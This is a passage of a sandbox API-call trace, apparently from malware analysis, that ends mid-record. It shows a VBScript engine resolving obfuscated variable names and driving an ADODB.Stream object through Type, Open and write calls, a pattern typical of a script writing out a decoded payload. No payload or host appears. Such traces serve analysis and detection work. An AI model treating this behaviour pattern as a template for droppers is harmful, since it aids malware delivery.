Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0066.872] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0066.872] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0066.872] GetCurrentThreadId () returned 0xd44 [0066.872] IUnknown:Release (This=0x1197760) returned 0x8 [0066.872] ??2@YAPAXI@Z () returned 0x838c578 [0066.872] GetCurrentThreadId () returned 0xd44 [0066.872] ??2@YAPAXI@Z () returned 0x1105cd0 [0066.872] malloc (_Size=0x40) returned 0x1197838 [0066.872] malloc (_Size=0x104) returned 0x1198d90 [0066.873] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6b1cbbc, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0066.873] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0066.873] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vgct783hth", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0066.873] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vgct783hth", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0066.873] GetCurrentThreadId () returned 0xd44 [0066.873] IUnknown:Release (This=0x1197760) returned 0x8 [0066.873] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0066.873] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="piiing", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0066.873] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="piiing", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0066.873] GetCurrentThreadId () returned 0xd44 [0066.874] IUnknown:Release (This=0x1197760) returned 0x8 [0066.874] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0066.874] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0066.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0066.874] GetCurrentThreadId () returned 0xd44 [0066.874] IUnknown:Release (This=0x1197760) returned 0x8 [0066.874] malloc (_Size=0x204) returned 0x11c22a0 [0066.874] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0066.874] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0066.874] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0066.874] GetCurrentThreadId () returned 0xd44 [0066.875] IUnknown:Release (This=0x1197760) returned 0x8 [0066.875] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.875] malloc (_Size=0x804) returned 0x8790008 [0066.875] ??2@YAPAXI@Z () returned 0x8460768 [0066.875] ??3@YAXPAX@Z () returned 0x1 [0066.875] malloc (_Size=0x204) returned 0x8790818 [0066.875] malloc (_Size=0x40) returned 0x1197880 [0066.875] malloc (_Size=0x120) returned 0x8460768 [0066.875] ??2@YAPAXI@Z () returned 0x11291c0 [0066.875] free (_Block=0x83d08e0) [0066.875] free (_Block=0x8790008) [0066.876] ??3@YAXPAX@Z () returned 0x740001 [0066.876] free (_Block=0x1197880) [0066.876] free (_Block=0x8790818) [0066.876] free (_Block=0x11c24b0) [0066.876] ??2@YAPAXI@Z () returned 0x86a0bc0 [0066.876] ??2@YAPAXI@Z () returned 0x83fd610 [0066.876] IUnknown:AddRef (This=0x1197760) returned 0x9 [0066.876] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0066.876] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x14b8f8 | out: lpclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0066.886] SysStringLen (param_1=0x0) returned 0x0 [0066.886] CoGetClassObject (in: rclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14b8e8 | out: ppv=0x14b8e8*=0x962b2d0) returned 0x0 [0067.641] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14b8e4 | out: ppvObject=0x14b8e4*=0x0) returned 0x80004002 [0067.644] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8ec | out: ppvObject=0x14b8ec*=0x962b320) returned 0x0 [0067.653] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0067.653] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b8b0 | out: ppvObject=0x14b8b0*=0x962b350) returned 0x0 [0067.653] ??2@YAPAXI@Z () returned 0x1112ae8 [0067.654] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112ae8) returned 0x0 [0067.654] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7f8 | out: ppvObject=0x14b7f8*=0x0) returned 0x80004002 [0067.654] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7e8 | out: ppvObject=0x14b7e8*=0x0) returned 0x80004002 [0067.654] DOMDocument:IUnknown:AddRef (This=0x1112ae8) returned 0x2 [0067.654] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b848 | out: ppvObject=0x14b848*=0x0) returned 0x80004002 [0067.654] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b844 | out: ppvObject=0x14b844*=0x1112ae8) returned 0x0 [0067.654] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0067.654] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b820 | out: ppvObject=0x14b820*=0x83fd480) returned 0x0 [0067.654] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b81c | out: ppvObject=0x14b81c*=0x83fd490) returned 0x0 [0067.655] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0067.655] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0067.655] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0067.655] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0067.655] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b84c | out: ppvObject=0x14b84c*=0x1112ae8) returned 0x0 [0067.655] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0067.655] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b818 | out: ppvObject=0x14b818*=0x83fd480) returned 0x0 [0067.655] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b814 | out: ppvObject=0x14b814*=0x83fd490) returned 0x0 [0067.655] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0067.655] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0067.655] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0067.655] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0067.655] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0067.656] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8a0 | out: ppvObject=0x14b8a0*=0x962b320) returned 0x0 [0067.656] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0067.656] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0067.656] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.656] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.656] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b8c4 | out: ppvObject=0x14b8c4*=0x1197760) returned 0x0 [0067.656] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="baax", grfdex=0x8, pid=0x14b8e0 | out: pid=0x14b8e0*=1358140) returned 0x80020006 [0067.656] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="baax", grfdex=0x8, pid=0x14b838 | out: pid=0x14b838*=-1) returned 0x80020006 [0067.656] GetCurrentThreadId () returned 0xd44 [0067.656] IUnknown:Release (This=0x1197760) returned 0x9 [0067.656] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.657] ??3@YAXPAX@Z () returned 0x840001 [0067.657] free (_Block=0x8460768) [0067.657] ??3@YAXPAX@Z () returned 0x4a0001 [0067.657] ??3@YAXPAX@Z () returned 0x740001 [0067.657] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.657] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.657] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.657] GetCurrentThreadId () returned 0xd44 [0067.657] IUnknown:Release (This=0x1197760) returned 0x8 [0067.658] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.658] malloc (_Size=0x804) returned 0x8790008 [0067.658] ??2@YAPAXI@Z () returned 0x8460768 [0067.658] ??3@YAXPAX@Z () returned 0x1 [0067.658] malloc (_Size=0x204) returned 0x8790818 [0067.658] malloc (_Size=0x40) returned 0x1197880 [0067.658] malloc (_Size=0xd4) returned 0x11892f8 [0067.658] ??2@YAPAXI@Z () returned 0x11291c0 [0067.658] free (_Block=0x83d08e0) [0067.658] free (_Block=0x8790008) [0067.658] ??3@YAXPAX@Z () returned 0x740001 [0067.658] free (_Block=0x1197880) [0067.658] free (_Block=0x8790818) [0067.658] free (_Block=0x11c7d90) [0067.659] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.659] ??2@YAPAXI@Z () returned 0x83fd610 [0067.659] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.659] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.660] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.660] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=4) returned 0x0 [0067.660] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.660] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.660] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.660] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.661] ??3@YAXPAX@Z () returned 0x840001 [0067.661] free (_Block=0x11892f8) [0067.661] ??3@YAXPAX@Z () returned 0x4a0001 [0067.661] ??3@YAXPAX@Z () returned 0x740001 [0067.661] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.661] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.661] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.661] GetCurrentThreadId () returned 0xd44 [0067.661] IUnknown:Release (This=0x1197760) returned 0x8 [0067.661] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.662] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.662] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.662] GetCurrentThreadId () returned 0xd44 [0067.662] IUnknown:Release (This=0x1197760) returned 0x8 [0067.662] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.662] malloc (_Size=0x804) returned 0x8790008 [0067.662] ??2@YAPAXI@Z () returned 0x8460768 [0067.662] ??3@YAXPAX@Z () returned 0x1 [0067.662] malloc (_Size=0x204) returned 0x8790818 [0067.662] malloc (_Size=0x40) returned 0x1197880 [0067.662] malloc (_Size=0xcc) returned 0x8460768 [0067.662] ??2@YAPAXI@Z () returned 0x11291c0 [0067.662] free (_Block=0x83d08e0) [0067.662] free (_Block=0x8790008) [0067.662] ??3@YAXPAX@Z () returned 0x740001 [0067.663] free (_Block=0x1197880) [0067.663] free (_Block=0x8790818) [0067.663] free (_Block=0x11c7d90) [0067.663] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.663] ??2@YAPAXI@Z () returned 0x83fd610 [0067.663] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.663] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.663] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.663] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Open", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=10) returned 0x0 [0067.663] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.663] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.663] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0067.669] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0067.670] ??3@YAXPAX@Z () returned 0x840001 [0067.670] free (_Block=0x8460768) [0067.670] ??3@YAXPAX@Z () returned 0x4a0001 [0067.670] ??3@YAXPAX@Z () returned 0x740001 [0067.670] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0067.670] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ivrejk", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0067.670] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ivrejk", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0067.670] GetCurrentThreadId () returned 0xd44 [0067.670] IUnknown:Release (This=0x1197760) returned 0x8 [0067.670] malloc (_Size=0x404) returned 0x8444028 [0067.671] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.671] malloc (_Size=0x804) returned 0x8790008 [0067.671] ??2@YAPAXI@Z () returned 0x8460768 [0067.671] ??3@YAXPAX@Z () returned 0x1 [0067.671] malloc (_Size=0x204) returned 0x8790818 [0067.671] malloc (_Size=0x40) returned 0x1197880 [0067.672] malloc (_Size=0x108) returned 0x8460768 [0067.672] ??2@YAPAXI@Z () returned 0x11291c0 [0067.672] free (_Block=0x83d08e0) [0067.672] free (_Block=0x8790008) [0067.672] ??3@YAXPAX@Z () returned 0x740001 [0067.672] free (_Block=0x1197880) [0067.672] free (_Block=0x8790818) [0067.672] free (_Block=0x11c7d90) [0067.672] ??2@YAPAXI@Z () returned 0x86a0bc0 [0067.672] ??2@YAPAXI@Z () returned 0x83fd610 [0067.672] IUnknown:AddRef (This=0x1197760) returned 0x9 [0067.672] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0067.672] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0067.672] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0067.672] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="write", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=13) returned 0x0 [0067.672] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0067.672] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0067.673] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, 